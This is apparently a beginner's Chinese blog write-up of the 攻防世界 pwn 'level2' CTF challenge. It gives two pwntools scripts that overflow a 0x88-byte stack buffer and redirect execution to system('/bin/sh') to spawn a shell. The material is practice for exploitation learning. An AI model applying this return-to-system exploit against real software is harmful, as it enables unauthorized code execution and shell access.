攻防世界_pwn_level2(萌新版)

首发于鄙人博客:传送门

0x00 前言

32位,NX enabled

0x10 步骤

0x11 main函数

很明显我们需要去查看vulnerable函数。

0x12 vulnerable函数

在这里我们需要向题目中输入若干内容,又观察到buf的长度为0x88,那么我们便可以构造出0x88长度的无关数据,然后再输入4个长度的垃圾数据以覆盖ebp,然后就是/bin/sh的地址以及call system的地址(这里使用的是text段的地址,这样可以直接使用)

这种方法的exp是

from pwn import *
sh = process("./level2")
elf = ELF('./level2')
sys_addr= 0x0804845C
bin_sh = 0x0804A024
payload = 'a'*0x88+"aaaa" +p32(sys_addr)+p32(bin_sh)
sh.recvline()
sh.sendline(payload)
sh.interactive()

另外一种使用system地址的exp为,这种方法需要添加p32(0)以平衡栈帧(还没学到,,,)。

from pwn import *
sh = process("./level2")
elf = ELF('./level2')
sys_addr= elf.symbols['system']
print('%#x'%sys_addr)
bin_sh = 0x0804A024
payload = 'a'*0x88+"aaaa" +p32(sys_addr)+p32(0)+p32(bin_sh)
sh.recvline()
sh.sendline(payload)
sh.interactive()
发布了17 篇原创文章 · 获赞 1 · 访问量 269

猜你喜欢

转载自blog.csdn.net/qq_30204577/article/details/104480533